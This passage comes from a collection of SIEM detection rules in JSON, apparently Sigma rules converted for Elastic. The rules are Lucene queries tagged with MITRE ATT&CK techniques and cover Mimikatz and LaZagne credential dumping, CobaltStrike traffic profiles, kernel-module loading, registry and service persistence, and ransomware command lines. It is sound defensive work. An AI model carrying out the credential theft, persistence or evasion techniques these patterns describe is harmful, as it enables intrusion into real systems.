*\\\\wsmprovhost.exe OR *\\\\winrshost.exe OR *\\\\syncappvpublishingserver.exe OR *\\\\runscripthelper.exe OR *\\\\ServerManager.exe OR *\\\\Microsoft\\ SQL\\ Server\\ Management\\ Studio\\ *\\\\Common*\\\\IDE\\\\Ssms.exe OR *\\\\IDE\\\\devenv.exe OR *\\\\ServiceHub.VSDetouredHost.exe OR *\\\\ServiceHub.SettingsHost.exe OR *\\\\ServiceHub.Host.CLR.x86.exe OR *\\\\Citrix\\\\ConfigSync\\\\ConfigSyncRun.exe) OR process.executable.text:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\*)) OR (process.executable.text:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable.text:(*\\\\thor64.exe OR *\\\\thor.exe)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Tom Kern", "oscd.community", "Natalia Shornikova", "Tim Shelton"], "license": ""}
{"description": "Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fb699a6c-76f6-e201-c5d4-14c9dd1962bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Loading of Kernel Module via Insmod", "query": "(type:\"SYSCALL\" AND comm:\"insmod\" AND exe:\"\\/usr\\/bin\\/kmod\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitary DLL", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e03f1c46-7008-d39d-48d2-8fde32c28460", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Defender Loading DLL from Nondefault Path", "query": "((process.executable.text:(*\\\\MpCmdRun.exe OR *\\\\NisSrv.exe) AND dll.path:*\\\\mpclient.dll) AND (NOT (dll.path:(C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\* OR C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", "enabled": false, "false_positives": ["Very likely, needs more tuning"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b68c012-db10-7601-7813-dd64ebbc1371", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Process Hollowing Image Loading", "query": "(process.executable:*\\\\notepad.exe AND file.path:(*\\\\samlib.dll OR *\\\\WinSCard.dll))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", "enabled": false, "false_positives": ["Domain Controller Logs", "Local accounts managed by privileged account management tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8c953202-c635-631a-fea2-ac3ebb1108ec", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Local User Creation", "query": "(winlog.channel:\"Security\" AND Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"4720\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Patrick Bareiss"], "license": ""}
{"description": "Detects LockerGoga Ransomware command line.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d2055cb5-7687-d99d-8eaa-fd327be18f21", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "LockerGoga Ransomware", "query": "process.command_line:*\\-i\\ SM\\-tgytutrc\\ \\-s*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Vasiliy Burov", "oscd.community"], "license": ""}
{"description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", "enabled": false, "false_positives": ["Unknown, please report false positives via "], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a5d9c9fc-c91b-229a-27f3-2d7defda2f20", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Possible Exploitation of Exchange RCE CVE-2021-42321", "query": "(winlog.event_id:(\"6\" OR \"8\") AND (*Cmdlet\\ failed.\\ Cmdlet\\ Get\\-App,\\ * OR *Task\\ Get\\-App\\ throwing\\ unhandled\\ exception\\:\\ System.InvalidCastException\\:*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "@testanull"], "license": ""}
{"description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8b490e42-83b1-3ae8-9dd0-9cb2d3e49996", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KrbRelayUp Attack Pattern", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.AuthenticationPackageName:\"Kerberos\" AND source.ip:\"127.0.0.1\" AND winlog.event_data.TargetUserSid:S\\-1\\-5\\-21\\-* AND winlog.event_data.TargetUserSid:*\\-500)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@SBousseaden", "Florian Roth"], "license": ""}
{"description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", "author": ["@SBousseaden", "Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2fe710c3-8908-6b1c-fa66-bc381c6565f4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RottenPotato Like Attack Pattern", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.TargetUserName:\"ANONYMOUS LOGON\" AND source.domain:\"-\" AND source.ip:(\"127.0.0.1\" OR \"::1\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Privilege Escalation", "T1557"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1557", "name": "Adversary-in-the-Middle", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2fe710c3-8908-6b1c-fa66-bc381c6565f4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RottenPotato Like Attack Pattern", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.TargetUserName:\"ANONYMOUS_LOGON\" AND source.domain:\"\\-\" AND source.ip:\"127.0.0.1\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Privilege Escalation", "T1557"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1557", "name": "Adversary-in-the-Middle", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@SBousseaden", "Florian Roth"], "license": ""}
{"description": "Detects logon events that specify new credentials", "enabled": false, "false_positives": ["Legitimate remote administration activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aa367e44-1876-0984-afc6-726d089be4fa", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Outgoing Logon with New Credentials", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"9\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3cf466d5-a465-5b3f-6f01-3e6793dd5a23", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "User with Privileges Logon", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4672\" OR \"4964\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", "enabled": false, "false_positives": ["Host connections to valid domains, exclude these.", "Host connections not using host FQDN.", "Host connections to external legitimate domains."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5dd97f23-804a-093e-4fa6-55042ef93f05", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Remote Desktop Connection to Non-Domain Host", "query": "(winlog.provider_name:\"Microsoft\\-Windows\\-NTLM\\/Operational\" AND winlog.event_id:\"8001\" AND TargetName:TERMSRV*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["n/a"], "timestamp_override": "event.ingested", "author": ["James Pemberton"], "license": ""}
{"description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", "enabled": false, "false_positives": ["Legacy hosts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2ec225-3faf-7e34-0baf-d3ef4aa65508", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "NTLM Logon", "query": "(winlog.provider_name:\"Microsoft\\-Windows\\-NTLM\\/Operational\" AND winlog.event_id:\"8002\" AND process.executable:*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects LSASS process access by LaZagne for credential dumping.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be74679c-dada-0517-788a-64cfd1e5b041", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Credential Dumping by LaZagne", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*|C\\:\\\\Windows\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*_ctypes.pyd\\+* AND winlog.event_data.CallTrace:*python27.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1FFFFF\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects LSASS process access by pypykatz for credential dumping.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "649d688f-ecf1-14f4-0e8a-5f4d96cb44e4", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Credential Dumping by Pypykatz", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*libffi\\-7.dll* AND winlog.event_data.CallTrace:*_ctypes.pyd\\+* AND winlog.event_data.CallTrace:*python3*.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1FFFFF\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects macOS Gatekeeper bypass via xattr utility", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4e2b00c8-0923-67fc-bd85-77105af6a239", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Gatekeeper Bypass via Xattr", "query": "(process.executable:*\\/xattr AND process.command_line:*\\-r* AND process.command_line:*com.apple.quarantine*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "c6cfc5a9-9be2-51d5-d255-a6c0ec4a285d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Malleable (OCSP) Profile", "query": "(url.original:*\\/oscp\\/* AND (destination.domain:\"ocsp.verisign.com\" OR url.domain:\"ocsp.verisign.com\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects Malleable Amazon Profile", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0e9f837f-b746-6229-efe9-332482c832b8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Malleable Amazon Browsing Traffic Profile", "query": "(user_agent.original:\"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/7.0;\\ rv\\:11.0\$\\ like\\ Gecko\" AND ((http.request.method:\"GET\" AND url.original:\"\\/s\\/ref\\=nb_sb_noss_1\\/167\\-3294888\\-0262949\\/field\\-keywords\\=books\" AND (destination.domain:\"www.amazon.com\" OR url.domain:\"www.amazon.com\") AND http.cookie:*\\=csm\\-hit\\=s\\-24KU11BB82RZSYGJ3BDK|1419899012996) OR (http.request.method:\"POST\" AND url.original:\"\\/N4215\\/adj\\/amzn.us.sr.aps\" AND (destination.domain:\"www.amazon.com\" OR url.domain:\"www.amazon.com\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects Malleable OneDrive Profile", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d74b7894-b0d9-e6c5-5727-9260edc5e144", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Malleable OneDrive Browsing Traffic Profile", "query": "((http.request.method:\"GET\" AND url.original:*\\?manifest\\=wac AND (url.domain:\"onedrive.live.com\" OR destination.domain:\"onedrive.live.com\")) AND (NOT (url.original:http* AND url.original:*\\:\\/\\/onedrive.live.com\\/*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects manual service execution (start) via system utilities.", "enabled": false, "false_positives": ["Legitimate administrator or user executes a service for legitimate reasons."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c2af6980-e157-5d52-c122-c12c0b8fafd0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Service Execution", "query": "(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*\\ start\\ *)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", "enabled": false, "false_positives": ["False positives depend on custom use of vsls-agent.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a902f14a-43c1-6bf3-7e3a-dc05c3f793e9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Vsls-Agent Command With AgentExtensionPath Load", "query": "((process.executable.text:*\\\\vsls\\-agent.exe AND process.command_line.text:*\\-\\-agentExtensionPath*) AND (NOT (process.command_line.text:*Microsoft.VisualStudio.LiveShare.Agent.*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["bohops"], "license": ""}
{"description": "Detects Mimikatz DC sync security events", "enabled": false, "false_positives": ["Valid DC Sync that is not covered by the filters; please report", "Local Domain Admin account used for Azure AD Connect"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c689ab66-a820-a170-3fd4-91d6e8d047e2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mimikatz DC Sync", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4662\" AND winlog.event_data.Properties:(*Replicating\\ Directory\\ Changes\\ All* OR *1131f6ad\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *1131f6aa\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *9923a32a\\-3607\\-11d2\\-b9be\\-0000f87a36b2* OR *89e95b76\\-444d\\-4c62\\-991a\\-0facbeda640c*) AND winlog.event_data.AccessMask:\"0x100\") AND (NOT ((winlog.event_data.SubjectDomainName:\"Window\\ Manager\") OR (winlog.event_data.SubjectUserName:(NT\\ AUT* OR MSOL_*)) OR (winlog.event_data.SubjectUserName:*$))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Benjamin Delpy", "Florian Roth", "Scott Dermott", "Sorina Ionescu"], "license": ""}
{"description": "Detects Mimikatz MemSSP default log file creation", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6435ef86-7dc0-d844-dde9-4ebf3dce864e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Mimikatz MemSSP Default Log File Creation", "query": "file.path:*mimilsa.log", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["David ANDRE"], "license": ""}
{"description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9829339c-b457-64e4-5f4a-b502b20b5b49", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MMC20 Lateral Movement", "query": "(process.parent.executable:*\\\\svchost.exe AND process.executable:*\\\\mmc.exe AND process.command_line:*\\-Embedding*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1021"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)"], "license": ""}
{"description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "345dbb0c-9e34-6dda-ac67-9a451ad2dfc7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via TypedPaths", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\TypedPaths\\\\*) AND (NOT process.executable.text:(\"C:\\Windows\\explorer.exe\" OR \"C:\\Windows\\SysWOW64\\explorer.exe\")))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b0d550eb-1607-23fc-cf4b-89b46f660609", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via TypedPaths - CommandLine", "query": "process.command_line.text:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\TypedPaths*", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6050f365-b645-c84f-3bf6-5bcb770d644f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Modification Of Existing Services For Persistence", "query": "((process.command_line:*sc\\ * AND process.command_line:*config\\ * AND process.command_line:*binpath\\=*) OR (process.command_line:*sc\\ * AND process.command_line:*failure* AND process.command_line:*command\\=*) OR (process.command_line:*reg\\ * AND process.command_line:*add\\ * AND process.command_line:*FailureCommand* AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin$* OR *.bat* OR *.cmd* OR *.js* OR *.msh$* OR *.reg$* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl*)) OR (process.command_line:*reg\\ * AND process.command_line:*add\\ * AND process.command_line:*ImagePath* AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin$* OR *.bat* OR *.cmd* OR *.js* OR *.msh$* OR *.reg$* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1543", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7f2a4ca7-d0c0-ee69-56e6-105f27f39151", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Classes Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Classes* AND winlog.event_data.TargetObject:(*\\\\Folder\\\\ShellEx\\\\ExtShellFolderViews* OR *\\\\Folder\\\\ShellEx\\\\DragDropHandlers* OR *\\\\Folder\\\\Shellex\\\\ColumnHandlers* OR *\\\\Filter* OR *\\\\Exefile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Directory\\\\Shellex\\\\DragDropHandlers* OR *\\\\Directory\\\\Shellex\\\\CopyHookHandlers* OR *\\\\CLSID\\\\\\{AC757296\\-3522\\-4E11\\-9862\\-C17BE5A1767E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{ABE3B9A4\\-257D\\-4B97\\-BD1A\\-294AF496222E\\}\\\\Instance* OR *\\\\CLSID\\\\\\{7ED96837\\-96F0\\-4812\\-B211\\-F13C24117ED3\\}\\\\Instance* OR *\\\\CLSID\\\\\\{083863F1\\-70DE\\-11d0\\-BD40\\-00A0C911CE86\\}\\\\Instance* OR *\\\\Classes\\\\AllFileSystemObjects\\\\ShellEx\\\\DragDropHandlers* OR *\\\\.exe* OR *\\\\.cmd* OR 